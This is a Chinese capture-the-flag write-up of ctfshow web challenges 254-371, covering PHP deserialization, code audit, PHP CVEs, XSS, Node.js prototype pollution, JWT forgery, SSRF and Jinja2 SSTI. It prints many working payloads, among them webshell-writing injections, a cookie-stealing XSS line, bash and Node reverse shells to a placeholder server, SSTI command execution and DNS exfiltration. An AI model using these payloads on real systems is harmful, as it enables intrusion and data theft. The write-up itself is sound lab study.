CTFSHOW_WP(254-378)
反序列化
web-254
/?username=xxxxxx&password=xxxxxx
我丢,看了半天。。。。。。还没开始反序列化。
web-255
1 | error_reporting(0); |
1 | <?php |
web-257
1 | <?php |
直接调backDoor,析构的时候会调命令。
web-258
套了一层过滤,不能有o:数字:
和c:数字:
,oc不区分大小写。
只需要加上一个+就行,额,原理自己去看函数库吧。
1 | <?php |
注意属性是public,不是上一题的public,我看了好久。。。。。。
web-259
嗝,SSRF?什么原生类?看了别人的WP之后才知道是SoapClient。又一看《CTFer从0到1》有。。。。。。应该好好看圣经的
https://baijiahao.baidu.com/s?id=1709236552525677652&wfr=spider&for=pc
1 | <?php |
如果了解SSRF的大概能知道这是怎么一回事。以后遇到了会再次深入学习,现在先过。
1 | /?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D |
web-260
属于是无聊之神了。
1 | <?php |
web-261
当类中同时定义了 unserialize() 和 wakeup() 两个魔术方法, 则只有 unserialize() 方法会生效,__wakeup() 方法会被忽略。
1 | <?php |
我们的code无法控制,直接用弱比较,877=0x36d
还有一点,就是传入$符号的时候要转义!!!
web-262
我们结合这message.php看,知道在index生成一个user权限的cookie,然后访问message拿flag。
第一种解法非常简单,我们直接自己生成一个admin的cookie就行了
1 | <?php |
第二种方法才是重点,字符串逃逸。这里给出一个链接,自行观看。
https://blog.csdn.net/solitudi/article/details/109043560
看完之后想必你已经了解了字符串逃逸的原理。
O:7:”message”:4:{s:4:”from”;s:1:”1”;s:3:”msg”;s:1:”2”;s:2:”to”;s:1:”3”;s:5:”token”;s:5:”admin”;}
我们可以看到,需要逃逸的字符串是”;s:5:”token”;s:5:”admin”;}
总长度为27,fuck用loveU替换的话,反序列化回来时就会溢出一位,导致 “ 被覆盖,所以我们需要覆盖27位的话,需要在前一个属性里面加上27个fuck,让字符串完全逃逸。
1 | <?php |
1 | O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";} |
/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck”;s:5:”token”;s:5:”admin”;}
web-263
session反序列化的考察
1 | user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;} |
1 | <?php |
1 | fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/PiI7czo2OiJzdGF0dXMiO047fQ== |
1 | 访问log-1.php,1=system("tac flag.php"); |
嗝,看到官方给出的讲解都把自己绕进去了。可能理解起来不太容易。
说实话在很久之前我学习反序列化时看见过别人写的session反序列化,nmmd,他写的一大堆还都是错的,现在看来他是跟着大菜鸡师傅(官方)的视频做的,搞得我看了一整天。这次系统刷题,又花了两个小时来进行梳理。
这里简单介绍一下
SESSION反序列化漏洞是因为php页面调用的session存储方式不同所导致的
默认是调用php,而这题默认的是php_serialize
php和php_serialize的区别如下
php: name|s:5:“ocean”;
php_serialize: a:1:{s:4:“name”;s:5:“ocean”;}
我们需要注意一点,在php中不能包含php_serialize,但是在php_serialize中可以包含php。
php中 | 符号的左右为键值和键名。这就是漏洞产生的原因。
我们分析源代码,可以知道index是php_serialize
inc和check是php
我们还可以看到在inc中可以控制username和password去写一句话木马
接着我们进行分析,在index中,$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]);
这样的一句话利用cookie控制limit,进而控制session
当我们访问index,先在index校验是否超过五次登录,生成一个session在服务器上
没有超过五次,到check去判断,然后对我们的session操作
到这里然后呢?和我们的inc写木马有什么关系呢?
我们重新想想,反序列化是指通过输入的序列化内容被反序列化之后调用服务器上的资源
我们要调用的是inc中的类
而check刚好包含了inc,使得我们可以反序列化
析构函数的时候可以写入木马去getshell
再一次重申,我们的重点是session反序列化
在index界面我们用check界面用的session序列化
因为上面又说,在index界面是可以包含check和inc的
别问为什么,问去上面再好好看看php和php_serialize
我们在index界面修改session的本质理由是
我们需要在服务器上有一个恶意的session能调inc类
使得我们在访问index时
php解析这个恶意的session
使得我们的一句话木马被成功的写入1.php
如果你还看不懂的话,多看几遍。
web-264
可以直接用262的payload,但要记得最后cookie传一个msg
web-265
1 | <?php |
不能控制随机数,我还不能控制值吗?简单的引用
web-266
当我们的序列化字符串中有ctfshow就会抛出异常,这样就没办法调用__destrcut了,在php中,函数不区分大小写,所以大写绕过就行
1 | <?php |
这里得注意一下,php://input得在bp传。
解析出错,由于类名是正确的,就会调用该类名的__destruct
,从而在throw前执行了__destruct
O:7:”ctfshow”:2:{}
web-267
弱口令admin,admin进入,看源码,发现about界面有提示。get传入view-source,发现回显。
///backdoor/shell
unserialize(base64_decode($_GET[‘code’]))
反序列化,我们看源码的时候可以看到引用js,是yii框架。
这里可以直接去网上找利用链。
web-271
laravel5.7反序列化漏洞
laravel5.8反序列化漏洞
thinkphp 5.1反序列化漏洞
都是一些漏洞的复现:https://blog.csdn.net/miuzzx/article/details/110558192
因为漏洞复现不在目前计划中,就先略过了。
web-275
这里直接审计代码,linux可以允许system(‘rm’.$_GET[1]);动态执行,所以这里可以用分号来分隔命令。
/?fn=php;tac f*
web-276
给出phar反序列化学习链接
https://www.freebuf.com/articles/web/205943.html
https://blog.csdn.net/solitudi/article/details/113588692
https://tttang.com/archive/1732/
在上个题的基础上增了了 判断$this->admin所以真的需要我们去通过反序列化修改admin的值了。因为题目中没有反序列化函数,所以需要通过其他方式。
因为题目中有写文件的函数,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。
生成phar文件
1 | <?php |
条件竞争
1 | import requests |
web-277
python pickle反序列化
JAVA
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
直接拿别人的工具一把梭
emmmmmmmm,这种事我就不做了,没什么参考价值。
https://blog.csdn.net/miuzzx/article/details/111270213
代码审计
嗝,代码审计。。。。。。听名字就知道不好惹。白盒测试的重要性不言而喻。
web-301
seay扫一遍。好家伙,什么都没有。我也没装昆仑镜那些其他的。慢慢看吧。
先看login.php,普通的登录界面,创建了session。
再看checklogin.php,直接采用变量拼接,没有过滤。可能存在SQL注入。
我们再看下面的代码
1 | if(!strcasecmp($userpwd,$row['sds_password'])){ |
strcasecmp(str1,str2)
:比较字符串
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
这里的登录判断就是执行结果等于我们输入的密码。
直接构造就行:-1' union select 1 from sds_user--+
userpwd=1
用sqlmap跑也行,随你。
web-302
修改的地方:
1 | if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){ |
对userpwd做了一个解码。
1 | <?php |
fun.php里面有编码的方式,直接编码就行。
简单说一下:密码是加密形式存在数据库里面的,所以把加密后的数据取出来
userid=1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#&userpwd=1
直接写一句话木马:userid=a ‘ union select ““ into outfile “/var/www/html/a.php”%23&userpwd=b
web-303
嗝~扫出来dptadd.php可能有SQL注入。
1 | $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';"; |
是个插入。可能需要登录后才能利用,sds_user.sql给出了账号密码,加密的密码可以倒推一下。admin
进去后有个新增的界面,直接注就行了。
web-305
扫描是给了两个,一个dptadd.php的SQL注入,另外一个是class.php的文件上传。
跟进分析发现在fun.php中有waf,而且username的长度也做了限制,基本上是没法注的。
接着看class user,有一说一
1 | public function __destruct(){ |
参数可控,理论上来说是可以的。在checklogin中有cookie的反序列化,那么就来了。
1 | <?php |
蚁剑连接,去数据库里面查就行。
1 | 1=include "conn.php"; |
web-306
扫出来和上题目一样,但是class中的析构换成close()了,全局搜索一下close()发现在dao.php中class dao有析构函数是调用close(),这应该就是我们需要找的。
1 | <?php |
web-307
扫一遍,发现calss.php文件包含,但是写死了,没有地方能调。
接下来看dao.php中有一个命令执行函数shell_exec,但是需要调clearCache,全局搜索发现service.php中的service类可以调它,然后呢???嗝,没了。看看反序列化的函数在哪吧,logout有一个,login有一个,但是loginout可以执行clearCache,不错。链已经差不多了,最后看看怎么控制$this->config->cache_dir,在dao类的构造函数是新生成了一个config类,我们可以直接控制cache_dir。至此,就分析完了?
等等,我们执行logout???我们还没登录怎么执行logout。。。。。。
1 | if($user){ |
嗯,有这个那就没事了。
1 | <?php |
web-308
增加了
1 | public function clearCache(){ |
在审dao.php的时候发现多了一个
1 | public function checkVersion(){ |
跟进,发现在fun.php中
1 | function checkUpdate($url){ |
眼熟?嗯,是个SSRF。index能直接调,OK。
1 | <?php |
别告诉我,你gopherus不会用。
web-309
你说说,mysql做了防护,还能打什么???不是redis就是fastcgi。
1 | if(!isset($_SESSION['login'])){ |
别忘了登录,大笨蛋。
1 | <?php |
web-310
源码已经没用了,不过问题不大,gopher还可以读文件。
1 | <?php |
得到
1 | server { |
1 | <?php |
至此,ctfshow代码审计部分完成。不过都是比较简单的点,只能说告诉你代码审计是啥。在一个完整的项目中,要进行审计可不是那么简单的事情。那么,加油吧!
phpCVE
web-311
抓包,看见返回的头
HTTP/1.1 200 OK Date: Mon, 31 Oct 2022 05:58:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Server: nginx/1.18.0 (Ubuntu) X-Powered-By: PHP/7.1.33dev Content-Length: 28
百度找找PHP 7.1.33的洞:CVE-2019-11043
工具地址:https://github.com/neex/phuip-fpizdam
1 | git clone https://github.com/neex/phuip-fpizdam.git |
1 | go run . "xxx/index.php" |
/?a=ls
我丢,解题网站的waf,这个复现不成功。之前应该是可以的。
web-312
CVE-2018-19518
对自己想要发的内容进行一次base64编码
首先对进行一次base64编码
然后对echo “PD9waHAgQGV2YWwoJF9QT1NUW211bXV6aV0pOz8+” | base64 -d >/var/www/html/ma.php进行一次base64编码
得到ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw
注意:如果进行base64编码后,含有+ =,都要进行url编码即%2b %3d,所以为了保证不会出错,最好再对得到的base64编码后的字符串再进行url编码。相当于步骤为先base64编码,再url编码
然后将hostname的内容替换成x+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}
即x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzIxMWJYVjZhVjBwT3o4KyIgfCBiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvbWEucGhw|base64%09-d|sh}
1 | /ma.php mumuzi=phpinfo(); |
web-313
CVE-2012-1823
CGI模式下的参数:
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
1 | index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input |
web-314
日志文件包含,不赘述了。
web-315
Debug 远程调试漏洞 https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
漏洞描述:
XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1
1 | xdebug.remote_connect_back = 1 |
这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
exp.py:
1 | #!/usr/bin/env python3 |
1 | python3 exp.py -t http://8731e14f-ee10-4df2-99f0-fef35075f5b3.challenge.ctf.show/index.php -c 'shell_exec("ls");' |
PS:需要有公网服务器
XSS
web-316
xss平台 https://xss.pt/xss.php
注册创建项目,复制代码进入,查看自己的项目就行。
web-320
1 | <body/onload=document.location="http://x.xx.xx.xx:1234/"+document.cookie> |
没有vps的原因,贴上别人的WP。
https://www.jianshu.com/p/51801f145573
https://blog.csdn.net/miuzzx/article/details/111644350
https://blog.csdn.net/cosmoslin/article/details/122790222
NodeJS
我学习NodesJS时,为此写了一篇总结,可以参考着看看。
web-334
发现name!=='CTFSHOW' && item.username === name.toUpperCase()
,上面有说过转大写时ſ =>> S
这里直接用ctfſhow 123456登录就可以出flag了。
web-335
直接利用eval读取目录文件。
1 | /?eval=res.end(require('fs').readdirSync('.').toString()) |
或者
1 | require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString() |
web-336
直接使用
1 | /?eval=res.end(require('fs').readdirSync('.').toString()) |
其实好像是过滤了一些东西,应该是命令执行的东西,我直接调的原生函数,如果想知道过滤什么的,可以自行百度。
web-337
其实和PHP一样,都可以用数组绕过。
但是为了突出Nodejs的特性,不利用/?a[]=1&b=1
。
1 | a={'x':'1'} |
本地运行一下,我们发现一个对象与字符串相加,输出不会有对象内容。
1 | /?a[x]=1&b[x]=2 |
web-338
login.js
1 | var express = require('express'); |
发现utils.copy(user,req.body);
,可能会存在漏洞,接着看common.js。
1 | module.exports = { |
我们需要使得secert.ctfshow===’36dboy’,去拿flag。
这里的 secert
是一个数组,然后 utils.copy(user,req.body);
操作是 user
也是数组,也就是我们通过 req.body
即 POST 请求体传入参数,通过 user
污染数组的原型,那么 secert
数组找不到 ctfshow
属性时,会一直往原型找,直到在数组原型中发现 ctfshow
属性值为 36dboy
。那么 if
语句即判断成功,就会输出 flag 了。
1 | {"__proto__": {"ctfshow": "36dboy"}} |
还有一种解法:利用ejs模块RCE。
1 | {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"');var __tmp2"}} |
web-339
login.js
1 | if(secert.ctfshow===flag){ |
不能直接污染了。但是我们发现一个api.js。
1 | /* GET home page. */ |
当我们访问api.js时,可以调query的function,与上述p神出的题非常类似。写个测试代码看看。
1 | function copy(object1, object2){ |
可以发现,query的功能为return “daigua”,在copy时,相当于给Object对象添加了query。那么,当然可以在这里构造一个函数,进行RCE。
有一点需要注意,require可能不会被识别,需要利用global.process.mainModule.constructor._load。
因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require
这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require
进行编译。
1 | {"__proto__": {"query": "return (function(){ |
在login传入,然后访问api即可。当然也可以污染ejs模块RCE。
web-340
发现 userinfo
的原型不是 Object
对象, userinfo.__proto__.__proto__
才是 Object
对象。
web-341
污染两级,ejs rce。
1 | {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/1234 0>&1\"');var __tmp2"}}} |
web-342
jade原型链污染
1 | {"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/1234>&1\"')"}}} |
1 | {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}} |
web-343
342的payload一样打。
web-344
1 | router.get('/', function(req, res, next) { |
发现题目会过滤掉逗号,尝试 URL 编码, urlencode(",") = %2c
发现 2c
也被过滤
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的。
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
1 | /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} |
这里把 c进行url编码,是因为 双引号 的url编码是 %22
,和 c
连接起来就是 %22c
,会匹配到正则表达式。
JWT
可以先了解一下jwt的构成。
web-345
没有加密,直接修改user为admin,访问admin即可
web-346
加密123456,暴力破解
https://github.com/brendan-rius/c-jwt-cracker
web-347
一样,跑就完事了,123456
web-348
aaab
web-349
拿源码,把环境搭起来,访问自己本地的,直接post拿flag就行。
web-350
密钥混淆攻击 (你用公钥解密,我直接就用公钥生成)
JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。
如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)?
那么,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。
1 | const jwt = require('jsonwebtoken'); |
运行 nodejs 获取 cookie 去替换即可
防御方法:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法
SSRF
web-351
curl_exec()直接
1 | <?php |
url=127.0.0.1/flag.php
web-352
简单的过滤
1 | url=http://127.0.1/flag.php |
web-354
网络上存在一个名为sudo.cc
的服务,放访问这个服务时,会自动重定向到127.0.0.1
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用302跳转的方式来进行绕过。
http://xip.io 当我们访问这个网站的子域名的时候,例如192.168.0.1.xip.io,就会自动重定向到192.168.0.1。
web-355
web-356
web-357
gethostbyname()函数
主要作用:用域名或者主机名获取地址,操作系统提供的库函数。
成功返回的非空指针指向如下的hostent结构:
1 | struct hostent |
filter_var() 函数
通过指定的过滤器过滤变量。
如果成功,则返回已过滤的数据,如果失败,则返回 false。
语法
1 | filter_var(variable, filter, options) |
参数 描述
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
PHP Filter 函数
PHP:指示支持该函数的最早的 PHP 版本。
函数 描述 PHP
filter_has_var() 检查是否存在指定输入类型的变量。 5
filter_id() 返回指定过滤器的 ID 号。 5
filter_input() 从脚本外部获取输入,并进行过滤。 5
filter_input_array() 从脚本外部获取多项输入,并进行过滤。 5
filter_list() 返回包含所有得到支持的过滤器的一个数组。 5
filter_var_array() 获取多项变量,并进行过滤。 5
filter_var() 获取一个变量,并进行过滤。 5
PHP Filters
ID 名称 描述
FILTER_CALLBACK 调用用户自定义函数来过滤数据。
FILTER_SANITIZE_STRING 去除标签,去除或编码特殊字符。
FILTER_SANITIZE_STRIPPED “string” 过滤器的别名。
FILTER_SANITIZE_ENCODED URL-encode 字符串,去除或编码特殊字符。
FILTER_SANITIZE_SPECIAL_CHARS HTML 转义字符 ‘“<>& 以及 ASCII 值小于 32 的字符。
FILTER_SANITIZE_EMAIL 删除所有字符,除了字母、数字以及 !#$%&’*±/=?^_{|}~@.[] FILTER_SANITIZE_URL 删除所有字符,除了字母、数字以及 $-_.+!*'(),{}|//^~[]
<>#%”;/?😡&=
FILTER_SANITIZE_NUMBER_INT 删除所有字符,除了数字和 ±
FILTER_SANITIZE_NUMBER_FLOAT 删除所有字符,除了数字、± 以及 .,eE。
FILTER_SANITIZE_MAGIC_QUOTES 应用 addslashes()。
FILTER_UNSAFE_RAW 不进行任何过滤,去除或编码特殊字符。
FILTER_VALIDATE_INT 在指定的范围以整数验证值。
FILTER_VALIDATE_BOOLEAN 如果是 “1”, “true”, “on” 以及 “yes”,则返回 true,如果是 “0”, “false”, “off”, “no” 以及 “”,则返回 false。否则返回 NULL。
FILTER_VALIDATE_FLOAT 以浮点数验证值。
FILTER_VALIDATE_REGEXP 根据 regexp,兼容 Perl 的正则表达式来验证值。
FILTER_VALIDATE_URL 把值作为 URL 来验证。
FILTER_VALIDATE_EMAIL 把值作为 e-mail 来验证。
FILTER_VALIDATE_IP 把值作为 IP 地址来验证。
1 | gethostbyname — 返回主机名对应的 IPv4地址。 |
利用302跳转和dns重绑定都可以。
dns重绑定就用这个:dns重绑定
羽神提供了一种方法:使用dns重绑定
在网站http://ceye.io/注册账号,会自动分配一个域名给你。
302跳转或者DNS重绑定,自己有vps最好。
web-358
正则匹配:以以http://ctf.开头,以show结尾。
以show结尾比较好办,要么#show,要么?a=show这样的都可以。
以http://ctf.开头的话,加一个@127.0.0.1绕过,这样parse_url解析出来的host是127.0.0.1。
考虑到ftp:ftp://user[:pass]@ip[:port]/path,因此前面的ctf.会被解析成user。
1 | url=http://ctf.@127.0.0.1/flag.php?show |
web-359
gopherus打mysql
1 | Give MySQL username: root |
1 | pass=system('cat /f*'); |
直接一把梭,记得url编码,因为是curl_exec()
web-360
gopherus打redis
基本SSRF就是这么个事,还有很多姿势,都大差不差。
下面给出拓展,我总结的关于攻击PHP-FPM的文章。
https://tttang.com/archive/1775/
SSTI
https://jinja.palletsprojects.com/en/2.11.x/templates/
下面的内容看不懂的可以自行查阅上面给出的官方解释
不会写脚本就是纯纯的寄。。。。。。
web-361
名字就是考点!!!参数为name,测试一下注入点。
/?name=4
找到<class 'os._wrap_close'>
,os._wrap_close类里有popen。这里直接利用popen来执行命令
1 | /?name={{request.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}} |
web-362
上面的payload不管用了,这里可以用一个通用payload。原理就是找到含有__builtins__
的类,然后利用。
1 | /?name={{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /flag').read()") }} |
1 | /?name={{lipsum.__globals__.__getitem__("os").popen("cat /flag").read()}} |
web-363
过滤了单双引号,可以用request对象的方法绕过
1 | /?name={{lipsum.__globals__.__getitem__(request.args.a).popen(request.args.b).read()}}&a=os&b=cat /flag |
当然,也可以利用chr函数来进行绕过,但chr()默认是没有的需要自己去调用定义,chr()在builtins里
1 | name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)).read()}} |
web-364
进一步过滤了request.args,本来想用POST请求的,但是请求方式不行,转而用request.cookies
1 | /?name={{lipsum.__globals__.__getitem__(request.cookies.a).popen(request.cookies.b).read()}} |
除此之外,也可以利用chr来进行绕过
payload的构造同上关即可
1 | /?name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)).read()}} |
web-365
过滤了单双引号,还有中括号,request.cookies仍然可以用了。
单双引号的绕过还是利用之前提到的姿势,至于中括号的绕过拿点绕过,拿__getitem__
等绕过都可以。
使用request绕过的话可以这样:
1 | /?name={{url_for.__globals__.os.popen(request.cookies.c).read()}} |
1 | /?name={{lipsum.__globals__.__getitem__(request.cookies.a).popen(request.cookies.b).read()}} |
这里也尝试用一下字符串拼接,写个python脚本跑出来:
1 | import requests |
1 | /?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6) |
web-366
在之前的基础上又ban了下划线_,这样__globals__这样的就构造不出来了,拿request绕过。
获取属性的话,用lipsum.(request.values.b)是会500的,中括号被ban了,__getattribute__也用不了的话,就用falsk自带的过滤器attr:
1 | /?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} |
1 | ""|attr("__class__") |
1 | Payload:?name={{((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read()}} |
web-367
还禁用了os
上面的第二个payload依旧可以用
把os写到request里面就行了,只要不ban掉request的话,还是比较轻松的。
1 | /?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}} |
web-368
1 | 过滤了{{和}},使用{%%}绕过 |
1 | /?a=__globals__&b=cat /flag&c=os&name={%print(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()%} |
1 | Payload:?name={% print(((lipsum|attr(request.cookies.c))|attr(request.cookies.d)(request.cookies.a)).popen(request.cookies.b).read())%} |
1 当然了,一般的话把{{给ban了,用{% %}是可以盲注的,我们这里盲注一下/flag文件的内容,原理就在于open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了,写个python脚本:
https://blog.csdn.net/rfrder/article/details/113866139
feng师傅的脚本
1 | import requests |
注意我name那里用了{{和}}
,这是因为我用的format格式化字符串,用{}
来占位,如果里面本来就有{
和}
的话,就需要用{{`和`}}
来代替{
和}
。
下面是yu22x师傅的脚本
1 | import requests |
web-369
把request给ban了,需要自己凑字符了,这里拿config来凑。一般我们想到的是使用__str__(),但是一个问题是_被ban了,所以__str__()用不了;这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_和[ ]被ban了,所以获取字符串中的某个字符比较困难。这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符,参考feng师傅的脚本:
1 | import requests |
1 | GET:?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower() |
yu22x师傅的方法
1 | GET:?name= |
原理自己看吧:https://blog.csdn.net/miuzzx/article/details/110220425
web-370
又ban了数字,想了一下可以把一些东西转string再转list,然后用index,然后基本上所有数字都可以拿到,但是可能稍微麻烦了一下。这里我想办法拿到下划线和斜杠,然后组合:
1 | http://965f672b-0325-41b2-af0b-2c72881896c3.chall.ctf.show:8080/?name= |
直接把数字都给ban了,这里想到可以使用count进行计数
1 | Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set i=(dict(cat=aa)|join,f,g,dict(flag=aa)|join)|join%}{%print ((lipsum|attr(c))|attr(d)(e)).popen(i).read()%} |
yu22x师傅的想法
1 | {% set one=(dict(c=z)|join|length) %} |
1 | GET:?name= |
另外的解法
反弹shell,本地开启监听 nc -lvp 4567 等待反弹flag
1 | import requests |
web-371
print被过滤,这里的话我们用反弹shell来做
1 | ?name= |
1 | def aaa(t): |
feng师傅的脚本
1 | GET:?name= |
我看到有erR0Ratao师傅用外带数据的方法做的,蛮佩服的。
1 | ping `cat /flag`.vhthja.dnslog.cn |
